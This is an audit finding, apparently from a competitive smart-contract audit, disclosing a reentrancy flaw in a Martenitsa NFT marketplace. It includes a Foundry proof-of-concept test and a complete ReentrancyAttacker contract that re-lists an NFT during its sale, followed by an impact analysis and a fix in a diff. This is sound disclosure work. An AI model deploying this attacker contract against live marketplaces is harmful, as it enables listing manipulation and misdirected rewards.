Beginner FriendlyFoundryGameFi
100 EXP
View results
Submission Details
Severity: high
Valid

NFT listing manipulation via reentrancy attack in the `MartenitsaMarketplace` contract

Summary

As a seller, a malicious smart contract can re-enter MartentisaMarketplace::listMartenitsaForSale from within MartentisaMarketplace::buyMartenitsaMarketplace when its fallback or receive function is triggered during the Ether transfer. The buyer will receive the NFT, but it will appear to be listed (at the re-list price set by the previous owner, the malicious smart contract).

Vulnerability Details

MartenitsaMarketplace::buyMartenitsa allows users to purchase listed Martenitsa NFTs using Ether. This function transfers Ether to the seller, which will trigger the fallback or receive function if the seller is a smart contract. The protocol does not adequately mitigate the risk that the seller could be a malicious contract, exploiting potential reentrancy vulnerabilities. Malicious code within the fallback or receive functions can re-enter MartenitsaMarketplace::listMartenitsaForSale.

function buyMartenitsa(uint256 tokenId) external payable {
Listing memory listing = tokenIdToListing[tokenId];
require(listing.forSale, "Token is not listed for sale");
require(msg.value >= listing.price, "Insufficient funds");
address seller = listing.seller;
address buyer = msg.sender;
uint256 salePrice = listing.price;
martenitsaToken.updateCountMartenitsaTokensOwner(buyer, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(seller, "sub");
// Clear the listing
delete tokenIdToListing[tokenId];
emit MartenitsaSold(tokenId, buyer, salePrice);
// Transfer funds to seller
@> (bool sent,) = seller.call{value: salePrice}("");
require(sent, "Failed to send Ether");
// Transfer the token to the buyer
martenitsaToken.safeTransferFrom(seller, buyer, tokenId);
}

Conseqently, if the seller is a malicious smart contract, it can re-list an NFT that it is just in the process of being sold. The listing will be invalid (the NFT will not be able to be bought with those listing parameters), but merely the appearance of the listing can potentially create confusion and panic in the true real owner and potentially in other users.

The following test demonstrates how the vulnerability would be exploited. It also demonstrates the limits of the reentrancy attack, i.e. that the listing will actually be invalid:

Proof of Code
Test

Place this test in e.g. MartenitsaToken.t.sol:

function testReentrancy() public {
uint256 price = 1 ether;
uint256 relistPrice = 0.1 ether;
uint256 attackedTokenId;
ReentrancyAttacker attacker = new ReentrancyAttacker(marketplace, martenitsaToken);
// attacker acquires an NFT: does not matter how, here Jack gives one to it
vm.startPrank(jack);
martenitsaToken.createMartenitsa("bracelet");
attackedTokenId = 0;
martenitsaToken.approve(address(marketplace), attackedTokenId);
marketplace.makePresent(address(attacker), attackedTokenId);
vm.stopPrank();
// attacker becomes a producer
// in reality, it can become one only during an event
// for simplicity, here the protocol owner assigns producer role to the attacker
address[] memory newProducers = new address[](1);
newProducers[0] = address(attacker);
martenitsaToken.setProducers(newProducers);
console.log("%e", address(attacker).balance);
// attakcer lists the NFT
attacker.list(attackedTokenId, price, relistPrice);
// buyer buys NFT from the malicious contract
address buyer = makeAddr("buyer");
deal(buyer, price);
vm.startPrank(buyer);
marketplace.buyMartenitsa{value: price}(attackedTokenId);
vm.stopPrank();
console.log("%e", address(attacker).balance);
// given the reentrancy attack, token 0 is relisted (although owned by buyer), now a lot cheaper
assert(marketplace.getListing(attackedTokenId).forSale == true);
assert(marketplace.getListing(attackedTokenId).price != price);
assert(marketplace.getListing(attackedTokenId).price == relistPrice);
// malicious contract acquires another NFT
// this is needed otherwise underflow error
// here the attacker gets one from Jack but it can also produce one while being a participant at an event
vm.startPrank(jack);
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.approve(address(marketplace), 1);
marketplace.makePresent(address(attacker), 1);
vm.stopPrank();
// suppose that the new owner of the NFT wants to flip it
// (note that he buyer also needs to be a producer to be able to list (flip))
// in preparation to sell, he approves the marketplace to spend the NFT
vm.prank(buyer);
martenitsaToken.approve(address(marketplace), attackedTokenId);
// attacker notices the approval, jumps in to buy back the NFT cheap before the actual owner lists it with a proper price
// but this fails as the protocol still thinks the owner of the NFT is the attacker and tries to trasnfer the NFT from it
vm.expectRevert();
attacker.buy(attackedTokenId, relistPrice);
console.log("%e", address(attacker).balance);
assert(martenitsaToken.ownerOf(0) != address(attacker));
assert(martenitsaToken.ownerOf(0) == buyer);
}
Malicious Contract

For this to work, place this contract in e.g. MartenitsaToken.t.sol, under the test contract. If done so, then

  • rename this test contract from MartenitsaToken to MartenitsaTokenTest to avoid conflicts with the MartenitsaToken contract from MartenitsaToken.sol, and

  • ensure that all these imports are present in MartenitsaToken.t.sol:

Imports
import {Test, console} from "forge-std/Test.sol";
import {BaseTest, MartenitsaMarketplace, MartenitsaToken} from "./BaseTest.t.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract ReentrancyAttacker is IERC721Receiver {
MartenitsaMarketplace marketplace;
MartenitsaToken martenitsaToken;
uint256 tokenId;
uint256 relistPrice;
bool attacked = false;
constructor(MartenitsaMarketplace _marketplace, MartenitsaToken _martenitsaToken) {
marketplace = _marketplace;
martenitsaToken = _martenitsaToken;
}
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external
override
returns (bytes4)
{
return this.onERC721Received.selector;
}
function list(uint256 _tokenIdToList, uint256 _price, uint256 _relistPrice) external payable {
tokenId = _tokenIdToList;
martenitsaToken.approve(address(marketplace), tokenId);
marketplace.listMartenitsaForSale(tokenId, _price);
relistPrice = _relistPrice;
}
function buy(uint256 _tokenId, uint256 _rebuyPrice) external {
marketplace.buyMartenitsa{value: _rebuyPrice}(_tokenId);
}
function _relistNftBeforeSell() internal {
marketplace.listMartenitsaForSale(tokenId, relistPrice);
attacked = true;
}
receive() external payable {
if (!attacked) {
_relistNftBeforeSell();
}
}
fallback() external payable {
if (!attacked) {
_relistNftBeforeSell();
}
}
}

Impact

As a seller, a malicious smart contract can re-list NFTs that are just in the process of being sold. The listing will be invalid, but it mere existence have multpile considerable implications:

  • Confusion and possibly panic among users:
    -- the new owner (the real owner) of the NFT might see its NFT listed on the marketplace when they did not list it,

-- by setting a low re-list price (could be 1 wei), the malicious seller could effectively tank the floor price of the whole collection. If done with multiple NFTs, the effect will be even more serious.

-- since the NFT appears to be listed, it can be voted on in a Martenitsa voting event.

  • Gas wastage:
    -- Prospecting buyers who intend to buy the maliciously re-listed NFT will waste gas calling MartenitsaMarketplace::buyMartenitsa, as the transaction will fail at line

martenitsaToken.safeTransferFrom(seller, buyer, tokenId);

(i.e. when the marketplace contract attempts to transfer from the NFT from the malicious contract to the prospecting new buyer, but the malicious contract is not the real owner anymore.)

  • Cheating in the Martenitsa voting event:
    -- since the NFT appears to be listed, it can be voted on in a Martenitsa voting event,

-- Based on the invalid re-list data, MartenitsaEvent will continue to recognize the malicious seller as the owner of the NFT. Consequently, if this NFT wins the vote, the healthToken rewards will be sent to the malicious seller contract, not the new actual true owner of the NFT.

function announceWinner() external onlyOwner {
require(block.timestamp >= startVoteTime + duration, "The voting is active");
uint256 winnerTokenId;
uint256 maxVotes = 0;
for (uint256 i = 0; i < _tokenIds.length; i++) {
if (voteCounts[_tokenIds[i]] > maxVotes) {
maxVotes = voteCounts[_tokenIds[i]];
// @audit does not handle ties
winnerTokenId = _tokenIds[i];
}
}
@> list = _martenitsaMarketplace.getListing(winnerTokenId);
@> _healthToken.distributeHealthToken(list.seller, 1);
emit WinnerAnnounced(winnerTokenId, list.seller);
}

Tools Used

Manual review, Foundry.

Recommendations

Implement changes that prevent the re-listing of NFTs while they are in the process of being bought:

```diff
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.21;
import "@openzeppelin/contracts/access/Ownable.sol";
import {HealthToken} from "./HealthToken.sol";
import {MartenitsaToken} from "./MartenitsaToken.sol";
contract MartenitsaMarketplace is Ownable {
HealthToken public healthToken;
MartenitsaToken public martenitsaToken;
uint256 public requiredMartenitsaTokens = 3;
struct Listing {
uint256 tokenId;
address seller;
uint256 price;
string design;
bool forSale;
+ bool beingSold;
}
mapping(address => uint256) private _collectedRewards;
mapping(uint256 => Listing) public tokenIdToListing;
event MartenitsaListed(uint256 indexed tokenId, address indexed seller, uint256 indexed price);
event MartenitsaSold(uint256 indexed tokenId, address indexed buyer, uint256 indexed price);
constructor(address _healthToken, address _martenitsaToken) Ownable(msg.sender) {
healthToken = HealthToken(_healthToken);
martenitsaToken = MartenitsaToken(_martenitsaToken);
}
/**
* @notice Function to list the martenitsa for sale. Only producers can call this function.
* @param tokenId The tokenId of martenitsa.
* @param price The price of martenitsa.
*/
function listMartenitsaForSale(uint256 tokenId, uint256 price) external {
require(msg.sender == martenitsaToken.ownerOf(tokenId), "You do not own this token");
require(martenitsaToken.isProducer(msg.sender), "You are not a producer!");
require(price > 0, "Price must be greater than zero");
+ require(!tokenIdToListing[tokenId].beingSold, "Cant list an NFT that is in the process of being sold");
Listing memory newListing = Listing({
tokenId: tokenId,
seller: msg.sender,
price: price,
design: martenitsaToken.getDesign(tokenId),
- forSale: true
+ forSale: true,
+ beingSold: false
});
tokenIdToListing[tokenId] = newListing;
emit MartenitsaListed(tokenId, msg.sender, price);
}
/**
* @notice Function to buy a martenitsa.
* @param tokenId The tokenId of martenitsa.
*/
function buyMartenitsa(uint256 tokenId) external payable {
Listing memory listing = tokenIdToListing[tokenId];
require(listing.forSale, "Token is not listed for sale");
require(msg.value >= listing.price, "Insufficient funds");
+ require(!listing.beingSold, "Cant buy an NFT that is in the process of being sold");
+ // @notice cannot use listing.beingSold = true here, as that only modifies the memory var, not the storage
+ tokenIdToListing[tokenId].beingSold = true; // set reentrancy guard
address seller = listing.seller;
address buyer = msg.sender;
uint256 salePrice = listing.price;
martenitsaToken.updateCountMartenitsaTokensOwner(buyer, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(seller, "sub");
// Clear the listing
delete tokenIdToListing[tokenId];
emit MartenitsaSold(tokenId, buyer, salePrice);
// Transfer funds to seller
(bool sent, ) = seller.call{value: salePrice}("");
require(sent, "Failed to send Ether");
// Transfer the token to the buyer
martenitsaToken.safeTransferFrom(seller, buyer, tokenId);
+ tokenIdToListing[tokenId].beingSold = false; // reset reentrancy guard
}
...
}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.